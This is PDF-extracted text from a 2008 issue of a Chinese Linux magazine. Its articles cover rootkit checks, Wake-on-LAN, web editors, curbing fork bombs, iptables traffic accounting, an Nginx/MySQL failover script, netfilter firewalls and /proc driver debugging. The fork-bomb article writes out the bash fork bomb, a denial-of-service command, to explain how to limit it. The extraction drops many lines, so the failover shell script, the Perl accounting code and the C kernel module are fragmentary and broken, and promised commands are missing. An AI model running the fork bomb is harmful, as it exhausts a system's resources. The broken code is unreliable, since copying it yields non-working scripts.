的没有技巧。可以这样说,如果你安装了所有正确的补丁,拥有经过测试的防火墙,并且在多个级别都
激活了先进的入侵检测系统,那么只有在一种情况下你才会被黑,那就是,你太懒了以至没去做该做的
事情,例如,安装 BIND 的最新补丁。
一不留神而被黑确实让人感到为难,更严重的是某些脚本小鬼还会下载一些众所周知的“ root
kits”或者流行的刺探工具,这些都占用了你的 CPU,存储器,数据和带宽。这些坏人是从那里开始着
手的呢?这就要从 rootkit 开始说起。
一、你能信任你的 ps 命令吗?
找出 root kit 的首个窍门是运行 ps 命令。有可能对你来说一切都看来很正常,真正的问题是,“
开
oss.linuxpk.com 2008 年第 12 期 74
源
经验技巧
真的一切都正常吗?”黑客常用的一个诡计就是把 ps 命令替换掉,而这个替换上的 ps 将不会显示那些
正在你的机器上运行的非法程序。为了测试个,应该检查你的 ps 文件的大小,它通常位于 /bin/ps。
在我们的 Linux 机器里它大概有 60kB。我最近遇到一个被 root kit 替换的 ps 程序,这个东西只有大
约 12kB 的大小。
又或者,你可能会看到类似以下的输出:
二、寻找未知的用户账号
在你打算对你的 Linux 机器做一次检测的时候,首先检查是否有未知的用户账号无疑是明智的。在
下一次你登录到你的 Linux 机器时,敲入以下的命令:
root:x:0:0:root:/root:/bin/bash
认真来说,虽然对于发现黑客行为,以上都是一些很好的基本方法。但这些技巧本身并不能构成足
够的安全性,而且其深度和广度和在文章头提到的入侵检测系统比起来也差得远。
开
oss.linuxpk.com 2008 年第 12 期 75
源
经验技巧
毕竟 Linux 的安全不是一下子就可以弄好的。
Linux 操作系统下实现远程开机
实现远程开机的条件,要满足以下两条:首先,这个被远程开机的机器必需是在局域网内,并且你知
道这台机器的 MAC 地址;其次,你的网卡支持网络唤醒功能,当然,现在大部分网卡都是支持网络唤醒
的功能。检查你的网卡是否支持网络唤醒功能,只要在被远程开机的机器上执行 ethtool 命令,查看
该机器网卡是否支持网络唤醒功能。
# ethtool eth0
Settings for eth0:
Supported ports: [ TP MII ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Supports auto-negotiation: Yes
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Advertised auto-negotiation: Yes
Speed: 100Mb/s
Duplex: Full
Port: MII
PHYAD: 1
Transceiver: internal
Auto-negotiation: on
Supports Wake-on: pumbg
Wake-on: g [ 提示: g 表示已启动. d 表示禁用 ]
Current message level: 0×00000001 (1)
Link detected: yes
$ /sbin/ethtool eth0
Settings for eth0:
Cannot get device settings: Operation not permitted
Cannot get wake-on-lan settings: Operation not permitted
Current message level: 0×000000ff (255)
Cannot get link status: Operation not permitted
如果网络唤醒功能被禁用,则需要用下面的命令启动网络唤醒功能:
安装网络唤醒软件:
获取远程机器网卡的物理地址:
# ifconfig
开
oss.linuxpk.com 2008 年第 12 期 76
源
经验技巧
eth0 Link encap:Ethernet HWaddr 00:16:k5:64:A9:68 [ Mac 地址 ]
inet addr:192.168.6.56 Bcast:192.168.6.255 Mask:255.255.255.0
inet6 addr: fe80::216:17ff:fe6b:289/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3179855 errors:0 dropped:0 overruns:0 frame:0
TX packets:2170162 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3832534893 (3.5 GB) TX bytes:390304845 (372.2 MB)
Interrupt:17
通过以下命令,实现远程开机:
# wakeonlan 00:16:k5:64:A9:68
一、Quanta Plus
开
oss.linuxpk.com 2008 年第 12 期 77
源
经验技巧
Quanta Plus 原名叫 Quanta,是一个 WEB 的集成开发环境(IDE),可以用于 HTML、XHTML、CSS
、XML、PHP 和其它基于 XML 的语言或者是脚本语言的开发。QuantaPlus 是一个 KDE 的软件,包含于
Kdewebdev 软件包里。Quanta 有可见即所得的设计模式和代码编缉模式两种开发模式。它的特点有:
代码标签提示功能,脚本语言的变量自动完成,项目管理,实时预览, PHP 调试器, CVS 的支持。
二、Bluefish
Bluefish,正如其项目主页上描述的那样,是一个功能强大的编缉程。你可以用它来设计网站,编
写脚本和程序代码。Bluefish 支持很多程序语言和标记语言,它最突出的特点在于编缉动态的交互式
网站。
开
oss.linuxpk.com 2008 年第 12 期 78
源
经验技巧
三、TinyMCE
开
oss.linuxpk.com 2008 年第 12 期 79
源
经验技巧
四、Amaya
开
oss.linuxpk.com 2008 年第 12 期 80
源
经验技巧
五、KompoZer
* 支持所见即所得(WYSIWYG),在我们在制作网页时,更加的直观化,编辑网页就如同打字一样
容易。
* Tab 功能:可以让我们很迅速的在多个页签间切换,并且编辑这些网页。
* 支持表单、表格、layer 以及网页模版。
开
oss.linuxpk.com 2008 年第 12 期 81
源
经验技巧
如何扼制 fork 炸弹
ghosTM55
众所周知,bash 是一款极其强大的 shell,提供了强大的交互与编程功能。这样的一款 shell 中
自然不会缺少“函数”这个元素来帮助程序进行模块化的高效开发与管理。由于其特殊的特性, bash 拥
有了 fork 炸弹。
一行看似无法理解的只有 13 个字符的命令,即可占用掉所有系统的资源。其实,这行命令如果这样
写成 bash script 就不难理解了:
:()
{
:|: &
}
;
:
txi@ghosTunix.org:~> ulimit -u
200
开
oss.linuxpk.com 2008 年第 12 期 82
源
经验技巧
完成安装后,yum 就多了两个命令参数,分别是:
* --downloadonly
* --downloaddir=/path/to/dir
开
oss.linuxpk.com 2008 年第 12 期 83
源
企业应用
Linux 路由器流量统计系统
徐彬 贺蕴普
本文首先概述三种常用的 Linux 路由器计费方式,然后详细介绍 Linux 系统的 Netfilter 包过滤
技术,并在此基础上探讨以 Netfilter 为核心开发的高效、低负载、可扩展的流量统计系统。
一、Linux 路由器的计费方式
由于 Linux 系统的稳定性、可用性越来越高,基于 Linux 系统的路由应用也越来越广泛。无论是对
于纯 IP 转发应用,还是基于 NAT 技术及透明代理技术的 Linux 路由器系统,如何高效、准确地进行计
费都是一个值得研究的课题。
1. 基于数据链路层的、网络监听模式的计费。
使用专门的网络监听主机,此时主机处于混杂模式(Promiscuous),对流经的数据包进行监听和
计费,监听的主机必须与路由器处在同一个广播段。由于监听高速以太网会产生严重的丢包问题,故此
方法应用并不广泛。
2. 基于 SNMP 技术的计费。
通过在 Linux 路由器上配置 SNMP 代理进行流量统计。此方法应用较为广泛,但 SNMP 代理的安装
会增加路由器的负载,并带来相关的安全性问题。
3. 使用第三方软件,如 xtacacsd 等。
基于 Linux 内核的 Netfilter 技术
开
oss.linuxpk.com 2008 年第 12 期 84
源
企业应用
表一
Netfilter 内建三个表,其功能如表 1 所示。
插图 1
开
oss.linuxpk.com 2008 年第 12 期 85
源
企业应用
1.当一个数据包进入(如网络 1),内核首先检查包的目的地(路由决策)。
3.否则,如果内核未被允许转发,或者不知道如何转发该包,它就会被丢弃。如果允许转发,而且
包的目的地是另一个网络接口(如网络 2),那么包继续向图的下边行进,到达 FORWARD 链。如果策略
允许通过(ACCEPT),它将被送出。
4 . 服 务 器 上 的 进 程 也 可 以 发 送 网 络 包 , 这 些 包 直 接 通 过 OUTPUT 链 发 送 , 如 果 被 允 许
(ACCEPT),那么该包继续向可到达其目的地的网络接口发送。
除了内建链,Netfilter 还支持用户自建链,支持更复杂、功能更强的应用。
二、计费规则
根据 Netfilter 可扩展表链的特性,可以通过自定义链来实现对数据包的流量计费。从网络管理的
角度考虑,需要关注的流量一般是总流入流出及一些基本的网络应用流量,如 FTP、WWW、SMTP、POP
等,更多的监控可以根据需要添加。
iptables 的流量计费功能在同一链内只能实现一次,因此自定义表必须精心设计,保证目标数据
包经过计费链。首先建立用户自定义表 ACC-IN、ACC-OUT、ACC-OUT-SMTP、ACC-IN-POP3、ACC-
IN-WWW、ACC-IN-FTP。
开
oss.linuxpk.com 2008 年第 12 期 86
源
企业应用
图2
流入量统计的 iptables 表与用户自定义表的顺序关系如图 2。
表2
◆ 对于总流入,由于是在本地网络流入计费,所以本地的 TCP 流量可以忽略,相应的规则如下
(eth0 为内网网卡,内网为 10.0.0.0/24):
oss.linuxpk.com 开开
源 2008 年第 12 期 87
源
企业应用
端口号):
sub set_iptables_rules{
my(@mylist)=@_;
chomp($address); #处理配置文件
@address_var=split(/ +/,$address);
#根据配置文件生成计费规则
`$iptables $mylist[2] FORWARD -i $local_nic -s $address_var[0] -d ! $local_net -j
ACC-OUT`;
`$iptables $mylist[2] ACC-OUT -i $local_nic -p tcp -s $address_var[0] --dport 25 -j
ACC-OUT-SMTP`;
...... }
}
三、系统结构
整个流量计费系统的结构如图 3 示,数据包流经 Linux 路由器并被计费;统计数据送入数据库;用
户通过前端界面查询流量,同时可对计费规则进行监控和管理。
开
oss.linuxpk.com 2008 年第 12 期 88
源
企业应用
图 3 系统结构示意图
系统的后台程序
一个切实可用的计费系统需要数据库的支持,并提供友好的查询界面,必须在后台对 iptables 提
供的数据进行处理,并且输入至数据库。使用 PERL 语言的正则表达式,可以对 iptables 输出的数据
进行处理,以选取需要的数据段。对于每一行数据都要提取流量及 IP 地址,所以要对目的数据段用正则
表达式进行处理:
for ($i=0;$i<=$count;$i++)
{$lines_in[$i]=~/^\s+\d+\s+(\d+)\s+(\D+\d)\s+(\W\d+\.\d+\.\d+\.\d+\/\d+)
(\d+\.\d+\.\d+\.\d+).*$/;
$ac_ip=$4;
......
#将流量记录输入至数据库
$sth = $dbh->do ("INSERT INTO $mysql_table_name
(date,ip,acc_in,acc_out,acc_in_ftp,acc_in_pop3,acc_in_www,acc_out _smtp) VALUES
('$date','$ac_ip','$ac_in','$ac_out','
$ac_in_ftp','$ac_in_pop3','$ac_in_www','$ac_out_smtp')"); }
计费周期可根据需要选择,但必须兼顾存储量与效率。这里计费周期选取为 24 小时,即设定系统的
crontab,定时每天执行后台程序将流量输入数据库。计费完成后将流量记数器清零:
开
oss.linuxpk.com 2008 年第 12 期 89
源
企业应用
#iptables -Z FORWARD
数据库与前端实现
图 4 用户查询界面
开
oss.linuxpk.com 2008 年第 12 期 90
源
企业应用
Nginx+PHP+MySQL 双机互备
全自动切换方案
张宴
在生产应用中,某台“Nginx+PHP+MySQL”接口数据服务器,扮演的角色十分重要,如果服务器硬
件或 Nginx、MySQL 发生故障,而短时间内无法恢复,后果将非常严重。为了避免单点故障,我设计了
此套方案,编写了 failover.sh 脚本,实现了双机互备、全自动切换,故障转移时间只需几十秒。
双机互备、全自动切换方案:
1、拓扑图
2、解释
开
oss.linuxpk.com 2008 年第 12 期 91
源
企业应用
2>&1 > /dev/null &。
3、自动切换流程
4、注意事项(很重要):
(1)、crontab 里的文件没有做自动同步,如果修改,需要手工在两台服务器上都做修改。
(3)、如果要删除/data0/htdocs/目录内的某些文件或目录,需要先删除处于活动状态(即绑定
了虚拟 IP)服务器上的文件或目录,再删除处于备用状态服务器上的文件或目录。
(4)、除了/data0/htdocs/(网页、程序、图片存放目录)、
/usr/local/webserver/php/etc/(php.ini 等配置文件目录)、
开
oss.linuxpk.com 2008 年第 12 期 92
源
企业应用
/usr/local/webserver/nginx/conf/(Nginx 配置文件目录)三个目录之外的其他配置修改,需
要在两台服务器上都做修改。
配置文档与脚本
(1)、rsync 配置文件
vi /etc/rsyncd.conf
输入一些内容并保存:
uid = root
gid = root
use chroot = no
max connections = 20
pid file = /var/run/rsyncd.pid
lock file = /var/run/rsync.lock
log file = /var/log/rsyncd.log
[data0_htdocs]
path = /data0/htdocs/
ignore errors
read only = no
hosts allow = 192.168.146.0/24
hosts deny = 0.0.0.0/32
[php_etc]
path = /usr/local/webserver/php/etc/
ignore errors
read only = no
hosts allow = 192.168.146.0/24
hosts deny = 0.0.0.0/32
[nginx_conf]
path = /usr/local/webserver/nginx/conf/
ignore errors
read only = no
hosts allow = 192.168.146.0/24
hosts deny = 0.0.0.0/32
开
oss.linuxpk.com 2008 年第 12 期 93
源
企业应用
(2)、启动 rsync 守护进程
/usr/bin/rsync --daemon
(1) 、 启 动 failover.sh 守 护 进 程 ( 为 了 开 机 能 够 自 动 运 行 , 请 将 以 下 语 句 添 加
到/etc/rc.local 文件中):
会显示以下信息:
kill -9 15428
#!/bin/sh
LANG=C
date=$(date -d "today" +"%Y-%m-%d %H:%M:%S")
开
oss.linuxpk.com 2008 年第 12 期 94
源
企业应用
#---------------配置信息(开始)---------------
#主机、备机切换日志路径
logfile="/var/log/failover.log"
#内网网关
gateway_eth0="192.168.146.1"
#主机内网真实 IP
rip_eth0_master="192.168.146.213"
#备机内网真实 IP
rip_eth0_slave="192.168.146.215"
#主机、备机内网共用的虚拟 IP
vip_eth0_share="192.168.113.214"
#外网网关
gateway_eth1="72.249.146.193"
#主机外网真实 IP
rip_eth1_master="72.249.146.213"
#备机外网真实 IP
rip_eth1_slave="72.249.146.215"
开
oss.linuxpk.com 2008 年第 12 期 95
源
企业应用
#主机、备机外网共用的虚拟 IP
vip_eth1_share="72.249.146.214"
#---------------配置信息(结束)---------------
#绑定内、外网虚拟 IP
function_bind_vip()
{
/usr/local/webserver/php/sbin/php-fpm reload
#解除内、外网虚拟 IP
function_remove_vip()
{
#主机向备机推送文件的函数
function_rsync_master_to_slave()
{
开
oss.linuxpk.com 2008 年第 12 期 96
源
企业应用
/usr/bin/rsync -zrtuog /usr/local/webserver/php/etc/ ${rip_eth0_slave}::php_etc/ >
/dev/null 2>&1
#备机向主机推送文件的函数
function_rsync_slave_to_master()
{
#虚拟 IP ARPing
function_vip_arping()
{
while true
do
#用 HTTP 协议检查虚拟 IP
then
开
oss.linuxpk.com 2008 年第 12 期 97
源
企业应用
#如果内网 VIP=主机内网 IP(主机 MySQL 中的 Master_Host 显示的是备机的域名或 IP),且本机为主机
then
function_rsync_master_to_slave
function_vip_arping
then
then
#如果主机能够访问,数据库同步无延迟,且本机就是主机,那么由本机绑定虚拟 IP
if [ "${type}" = "master" ]
then
#如果本机为主机
function_bind_vip
function_vip_arping
else
#如果本机为备机
function_remove_vip
fi
else
if [ "${type}" = "slave" ]
then
#如果本机为备机
function_rsync_slave_to_master
function_vip_arping
开
oss.linuxpk.com 2008 年第 12 期 98
源
企业应用
fi
fi
fi
else
#虚拟 IP 无法访问时,判断主机能否访问
then
#如果主机能够访问,且本机就是主机,那么由本机绑定虚拟 IP
if [ "${type}" = "master" ]
then
function_bind_vip
function_vip_arping
else
function_remove_vip
fi
then
#如果主机不能访问而备机能够访问,且本机就是备机,那么由备机绑定虚拟 IP
if [ "${type}" = "slave" ]
then
function_bind_vip
function_vip_arping
else
function_remove_vip
开
oss.linuxpk.com 2008 年第 12 期 99
源
企业应用
echo "${date} 主机已去除虚拟 IP!(Type:6)" >> ${logfile}
fi
else
fi
fi
sleep 20
done
Linux 系统内核防火墙研究及应用
刘云红
随着 Internet 的迅速发展和普及,网络在给用户提供方便的同时,也给了恶意攻击者提供了非法
入侵商用系统的媒介,因此,保证应用服务器的安全成为困扰系统管理员的一个难题。目前市场上有许
多商业防火墙,可以有效地抵挡恶意攻击;但它们价格昂贵,对于很多网络安全经费不足的高校、企事
业单位就不一定很合适。
Linux 操作系统以其开放源码、高性能和高可靠性等诸多优势在商业服务器和个人桌面系统中得到
日益广泛的应用。为了解决 Linux 系统安全问题,Linux 内核的开发团队中逐步形成了专门的内核防火
墙开发小组,并随着 Linux 内核版本升级不断推陈出新。最早的 Linux 下的 IP 防火墙出现在 1.1 系列
内核中,它是由 Alan Cox 从 FreeBSD 系统的 IPFW 防火墙移植到 Linux 中来的。2.0 系列内核中的
IPFWadm 由 Jos Vos 等人进行了改进和增强。到了 2.2.X 内核发布时,IPchains 和单独开发的 AT
等模块已经可以比较完整地实现内核级的 IP 防火墙的功能。但是由于没有充分考虑到扩展性和维护性问
题,因此后续开发比较困难。Rusty Rttssell 领导的 Linux 内核 IP 防火墙项目小组在 2.3.x 以后
的开发过程中,总结了以往的开发经验,逐步形成了抽象、通用化的可扩展防火墙核心框架——
netfilter。
开
oss.linuxpk.com
源 2008 年第 12 期 100
企业应用
一、防火墙分类
随着技术的发展,防火墙的技术也在不断发展,到今天,防火墙的分类和功能也在不断细化,但总
的来说,可以分为包过滤防火墙和应用级防火墙两大类。
1、包过滤型防火墙
包过滤型防火墙又叫网络级防火墙。它是通过检查单个包的地址、协议、端口等信息来决定是否允
许此数据包通过。路由器便是一个“传统”的网络级防火墙。
防火墙可提供内部信息以说明所通过的连接状态和一些数据流的内容,把判断的信息同规则表进行
比较,在规则表中定义了各种规则来表明是否同意或拒绝包的通过。包过滤防火墙检查每一条规则直至
发现包中的信息与某规则相符。如没有一条规则能符合,防火墙就会使用默认规则,默认规则就是要求
防火墙丢弃该包。其次,通过定义基于 TCP 或 UDP 数据包的端口号,防火墙能够判断是否允许建立特定
的连接,如 Telnet、FTP 连接。
网络级防火墙简洁、速度快、费用低,并且对用户透明,但是对网络的保护很有限,因为它只检查
地址和端口,对网络更高协议层的信息无理解能力。
2、应用级防火墙
应用级防火墙主要工作在应用层。应用级防火墙往往又称为应用级网关,它此时也起到一个网关的
作用。应用级防火墙检查进出的数据包,通过自身(网关)复制传递数据,防止在受信主机与非受信主机
间直接建立联系。应用级防火墙能够理解应用层上的协议,能够做复杂一些的访问控制,并做精细的注
册和审核。其基本工作过程是:当客户机需要使用服务器上的数据时,首先将数据请求发给代理服务器
代理服务器再根据这一请求向服务器索取数据,然后再由代理服务器将数据传输给客户机。由于外部系
统与内部服务器之间没有直接的数据通道,外部的恶意侵害也就很难伤害到内网。
在现在的防火墙分类中,还有电路级网关、规则过滤防火墙、监测型防火墙等等,但这些只是以上
两大种防火墙中某一种技术上具体实现时的一种说法或者是两种防火墙的融合。
开
oss.linuxpk.com
源 2008 年第 12 期 101
企业应用
Netfilter 框架原理
Netfilter 是一种内核中用户扩展各种网络服务的结构化底层框架,它的设计思想是生成一个模块
结构使之能够比较容易的扩展。新的特性可以直接加入到内核中,并且不需要重新启动内核。这样就大
大地加强了内核的网络新特性的扩展。Netfilter/Iptables 系统采用模块化的架构方式,其主要模
块有:通用框架 Netfilter、数据包选择系统、连接跟踪系统及 NAT 系统等等。
2、内核的任何模块都可以对每种协议的一个或多个钩子进行注册,实现挂接。这样当某个数据包被
传递给 Netfilter 框架时,内核能检测是否有任何模块对该协议和钩子函数进行了注册。若注册了,则
调用该模块注册时使用回调函数。这样这些模块就有可能检查、修改、丢弃该数据包或指示 Netfilter
将该数据包传入用户空间的队列。
3、传递给用户空间的数据包队列是异步地进行处理。一个用户进程能检查数据包,修改数据包,甚
至可以重新将该数据包通过离开内核的同一个钩子函数中注入到内核中。
图 1 Nefilter 框架示意图
1、NF_IP_PRE_ROUTING;
开
oss.linuxpk.com
源 2008 年第 12 期 102
企业应用
2、NF_IP_LOCAL_IN;
3、NF_IP_FORWARD;
4、NF_IP_POST_ROUTING;
5、NF_IP_LOCAL_OUT。
本 地 产 生 的 数 据 经 过 钩 子 函 数 NF_IP_LOCAL_OUT 处 理 以 后 。 进 行 路 由 选 择 处 理 , 然 后 经 过
NF_IP_POST_ROUTING 处理,再发送到网络上。内核模块可以对一个或多个这样的钩子函数进行注册
挂接,并且在数据包经过时,调用这些钩子函数,从而模块可以修改数据包,并向 Netfilter 返回如下
值:
NF_DROP 丢弃该数据包,不再传输;
NF_STOLEN 模块接管该数据包,不要继续传输该数据包;
NF_QUEUE 对该数据包进行排队(通常用于将数据包传给用户空间进程处理);
NF_REPEAT 再次调用该钩子函数。
IPtables 原理
1、ipchains 的缺陷
(2)、输入链描述整个进入 lP 层的规则,它不区分数据包是以该主机为目的地还是通过该主机中转,
开
oss.linuxpk.com
源 2008 年第 12 期 103
企业应用
混淆了 input 链和 forward 链。forward 链只负责处理中转的数据包,但它总跟在 input 链的后面。
要区别进入的数据包和中转的数据包,就必须编写复杂的规则,效率就会下降。 forward 链和 output
链之间也存在同样的问题。
(3)、ipchains 没有提供传递数据包到用户空间的接口,任何对数据包进行处理的代码都必须在内
核空间运行,而内核编程复杂,对内核的稳定性构成威胁。
(4)、透明代理实现复杂,必须查看每个数据包判断是否有专门处理该地址的 Socket。
为 了 解 决 这 些 问 题 , 用 户 需 要 一 个 开 放 的 、 扩 展 性 好 的 内 核 防 火 墙 。 Linux2.4 版 提 供 了
netfilter 内核防火墙,它采用更完善的框架结构,具有许多新功能,如完整的动态 NAT、基于用户和
MAC 地址的过滤、真正基于状态的过滤等。netfilter 还实现了扩展过滤规则而不必修改内核。
2、Iptables
开
oss.linuxpk.com
源 2008 年第 12 期 104
企业应用
的结果进行同样的转换处理,也就是说,余下的包不会再通过这个表一个一个的被 nat,而是自动地完
成。nat 表包括 DNAT、SNAT 和 MASQUERADE 三条链。DNAT 操作主要用于目的地址转换,以使包能重
路由到某个 IP 地址的主机上。SNAT 用于包的源地址转换,这可以在极大程度上隐藏本地网络或者 DMZ
等。MASQUERADE 的作用和 SNAT 完全一样,只是计算机的负荷稍微多一点,因为对每个匹配的包 ,
MASQUERADE 都要查找可用的 IP 地址,而不象 SNAT 用的 IP 地址是配置好的。如果使用 PPOE 等拨号
方式连接 Internet,MASQUERADE 是个很好的解决方案。
二、防火墙在校园网中的应用
当前,很多学校都对网络进行了不同程度的升级改造,例如由原来的 100Base.T 升级为目前的
1000Base.T , 学 生 宿 舍 、 新 教 学 楼 都 进 行 了 综 合 布 线 , 新 增 信 息 结 点 , 可 以 访 问 校 园 内 部 的
Intranet 和通过校园网进入 Internet。随着校园网网络规模的增大,地址资源紧张,网络安全成为
急需解决的问题。考虑到价格、实用性和灵活性等各方面的因素,采用 Redhat 构造了校园网包过滤防
火墙,实现了 IP 伪装(NAT)、限制对外部地址的访问等功能。
1、防火墙工作环境
(1)、在服务器上安装两个网卡,分别接入 Internet 和内部网。其中一块网卡 IP 地址为:
202.120.115.5 , 网 关 地 址 为 : 202.120.115.1( 路 由 器 IP) ; 另 一 块 网 卡 IP 地 址 为 :
192.168.4.2,网关地址为:192.168.4.1(核心交换机 IP)。
(2)、操作系统:Redhat Liunx。
启动服务:iptables,httpd,samba 等。
2、配置防火墙系统
(1)、在/etc/rc.d/rc.local 中做如下改变:
开
oss.linuxpk.com
源 2008 年第 12 期 105
企业应用
#!/bin/sh
#This script will be executed after all the other init scripts.
#You can put your own initialization stuff in here if you don’t.
#want to do the full Sys V style init stuff.
/sbin/route add -net 192.168.0.0 gw 192.168.4.1 netmask 255.255.0.0
增加到内部网的静态路由
echo l>/proc/sys/net/ipv4/ip?_forward
#打开 IP 包转发
/sbin/modlzlrobe ip_conntrack_ftp
/sbin/modprobe ip_nat_ftp
touch/var/lock/subsys/local
三、结束语
Linux 2.4 内核中内置的 Netfilter/Iptables 系统与旧内核中的防火墙系统(Ipchain 等)相
比,体系结构更为清晰、功能更为强大、使用更为方便。用 Linux 新的内核 netfilter 来实现内部局
域 网 和 Internet 之 间 的 防 火 墙 , 无 疑 是 一 种 简 单 快 捷 、 经 济 高 效 的 方 法 。 只 要 掌 握 Linux 的
netfilter 和其它相关技术,完全可以配置出一台功能强大、安全的防火墙。
开
oss.linuxpk.com
源 2008 年第 12 期 106
嵌入式
◆ 本机文件系统;
◆ 使用标准协议(比如,NFS 等)的网络文件系统;
建立文件系统
网络文件系统,由于它可以提供更大的存储空间,并可以更安全地保存调试信息和其它的系统状态
信息,因此也常常在嵌入式 Linux 系统中被用做引导文件系统。
无论是何种引导文件系统,在使用传统方法对其进行手动建立时,都需要用户掌握一定的 Linux 系
统专业知识,必须对建立文件系统所需的命令十分熟悉。比如,要建立一个初始 RAM 盘,必须首先建立
一个空文件,并与一个 Linux 设备建立关联;然后,建立文件系统,将该文件作为一个特殊类型的虚拟
开
oss.linuxpk.com
源 2008 年第 12 期 107
嵌入式
设备进行加载。根据系统访问硬件方法的不同,还必须了解建立硬件节点所需要的 Linux 命令,以及它
们的命名规则。同时,还必须知道 Linux 引导文件系统的组织机制。这使得普通用户手动建立引导文件
系统十分困难。
但 是 , 如 果 使 用 一 些 图 形 化 的 嵌 入 式 开 发 工 具 , 比 如 , TimeSys 公 司 的 Integrated
Development Environment(IDE)和 Linux Development Suite(LDS),建立文件系统就简单得
多了。图 1 显示的是 TimeStorm LDS 的 RFS Image 选项,用户可以利用它来指定所要建立的文件系
统类型。
图1
使用 TimeStorm LDS 建立引导文件系统十分简单,只要选择包含的指令包,定义特殊的指令含义 ,
并单击一下按键即可。
开
oss.linuxpk.com
源 2008 年第 12 期 108
嵌入式
所有 Linux 系统的启动过程基本相同,大都是先执行内核的加载,然后执行 Linux 系统中一个被称
为初始进程的应用程序,它一般位于/sbin/init 目录下。初始进程是系统的 1 号进程,是所有其它进
程的基础,用户可以通过 ps 命令查看系统进程的工作状态。初始进程通过读取/etc/inittab 文件来
确定系统启动的方法,并列出需要启动的所有其它进程和程序。
六、选择相关软件包
Linux 应用软件通常包含在一个由多个相关软件组成的软件包中,比如,Linux 2.6 内核系统中的
module-init-tools 软件包,它包含多种应用程序,这些应用程序可以对可加载内核模块进行插入、
删除和排序操作,像/sbin/depmod、/sbin/rmmod 和/sbin/insmod 等。
开
oss.linuxpk.com
源 2008 年第 12 期 109
嵌入式
图2
通过 TimeStorm LDS,还可以确定不同软件包中应用软件之间的相互关系。
七、选择相关程序库
许多嵌入式 Linux 系统中的应用程序都是使用共享程序库进行编译的。Linux 系统的优势之一便是
它可提供一个良好的程序编译、执行环境。用户可以使用数以千计的程序库对应用程序进行预先编译,
从而最大限度地减少重复的次数。
Linux 系统提供了多种专业的命令行工具,帮助用户了解软件包的关系,并进行相关分析,但它们
开
oss.linuxpk.com
源 2008 年第 12 期 110
嵌入式
都使用不同的语法,并需要特殊的专业知识。而 TimeStorm LDS 作为一个图形化工具也可以实现上述
功能,用户只要选择适当的选单命令就行了。
八、小结
尽管对于 Linux 系统的启动过程、各种文件系统间的交互作用、各种命令的执行顺序、不同命令及
文件之间的从属关系,以及程序库的分析研究是十分复杂的,但是, TimeStorm LDS 可为尚未掌握专
业知识的广大用户带来巨大的便利。TimeStorm LDS 不但可以简化各类文件系统的建立过程,还可以
很容易地将应用软件添加到引导文件系统中。
开
oss.linuxpk.com
源 2008 年第 12 期 111
嵌入式
善用 proc 文件系统加快嵌入设备驱动调试
吴宏星
笔者曾为一种使用 Linux 系统的嵌入式手持设备开发了 MIDI 芯片的驱动程序。在开发过程中,通
过利用/proc 文件系统,极大地方便了程序的调试。下面就将调试的方法共享出来。
字符设备驱动程序
其中各参数的含义分别如下:
◆major 代表字符设备的主设备号,在内核中,主设备号用于区分不同的字符设备;
驱动程序注册完成后,内核使用主设备号将实际的字符设备和对该设备的操作函数联系到一起。
为了让其它应用可以使用设备驱动程序,必须在/dev 目录下创建相应的设备节点。下面的命令将创
建字符设备节点/dev/mychar,其主设备号和次设备号分别是 249 和 0:
如 果 mknod 创 建 的 主 设 备 号 与 register_chrdev() 注 册 时 的 相 同 , 那 么 应 用 程 序
对/dev/mychar 设备节点的 Open、Close、Read 和 Write 操作的实现最终会调用设备驱动程序的相
开
oss.linuxpk.com
源 2008 年第 12 期 112
嵌入式
应函数。关于 mknod 的详细信息,请参看 Linux 的在线帮助。
/proc 文件系统
第二行显示的就是/proc 文件系统的信息,其中,“none”表明该文件系统不依赖于任何一个硬件
设备。
内 核 中 的 每 一 部 分 都 可 以 向 /proc 进 行 注 册 , 以 方 便 其 它 进 程 查 看 其 相 关 信 息 , 比 如 ,
/proc/modules 记录了模块的列表、/proc/meminfo 记录了内存使用的统计表等。通过 /proc 文件
系统不但可以查看系统信息,还可以修改内核参数,改变内核的运行状态,/proc/sys 目录中存放着所
有可读写的文件和目录,但是,要慎重改动这些文件。
驱动程序调试
1.利用/proc/sys/kernel/printk 文件
在设备驱动程序开发的不同阶段,需要打印的信息级别也是不同的,比如,开发初期可能需要打印
所有级别的调试信息,而在后期只有十分重要的信息才被允许打印出来。虽然可以通过修改程序中的代
码来满足这种要求,但是,这种方法不但费时,而且每次修改后都要重新加载驱动程序才能继续调试。
其实,在驱动程序加载后,通过/proc/sys/kernel/printk 文件(2.1.31 版本及以上),可以方便
地修改调试信息的输出级别。通过以下命令修改/proc/sys/kernel/printk 文件:
% echo 8 >/proc/sys/kernel/printk
开
oss.linuxpk.com
源 2008 年第 12 期 113
嵌入式
修改完后,printk()输出的所有信息都会在 Console 上显示出来。
2.在/proc 中添加文件节点
设备驱动程序可以在/proc 文件系统中创建自己的文件节点,这样能够方便其它进程访问设备的相
关信息,以及修改设备运行的参数等。
#include <linux/module.h>
#include <linux/kernel.h>
#include <llinux/init.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#define MODULE_NAME "mytest"
static MyFlag = 0;
// when user reads /proc/myread, this function will be
// called
static int mytest_proc_read(char *page, char **start,
int len;
MOD_INC_USE_COUNT;
len = sprintf(page, "module name is %s\n", MODULE_NAME);
MOD_DEC_USE_COUNT;
return len;
}
开
oss.linuxpk.com
源 2008 年第 12 期 114
嵌入式
unsigned long count,
void *data)
{
int len;
0444, NULL,
mytest_proc_read,NULL);
if(my_proc_read == NULL)
{
return -ENOMEM;
}
my_proc->owner = THIS_MODULE;
my_proc_write->write_proc = mytest_proc_write;
my_proc_write->owner = THIS_MODULE;
return 0;
开
oss.linuxpk.com
源 2008 年第 12 期 115
嵌入式
static int __init init_mytest(void)
{
if(mytest_create_myproc() != 0)
{
return -EFAULT;
}
......
return 0;
}
通过上面的介绍可知,使用/proc 文件系统,大大缩短了设备驱动程序的开发调试时间。
开
oss.linuxpk.com
源 2008 年第 12 期 116
编读往来
Linuxpk.com 十一月十大热门帖
开源技术选型手册--精选版
http://bbs.linuxpk.com/thread-35939-1-1.html
一些 linux 服务器的安装
http://bbs.linuxpk.com/thread-36190-1-1.html
红旗无线网卡配置完成,与大家分享
http://bbs.linuxpk.com/thread-36107-1-1.html
"懒惰"Linux:"懒惰"集群管理员的 11 个秘诀
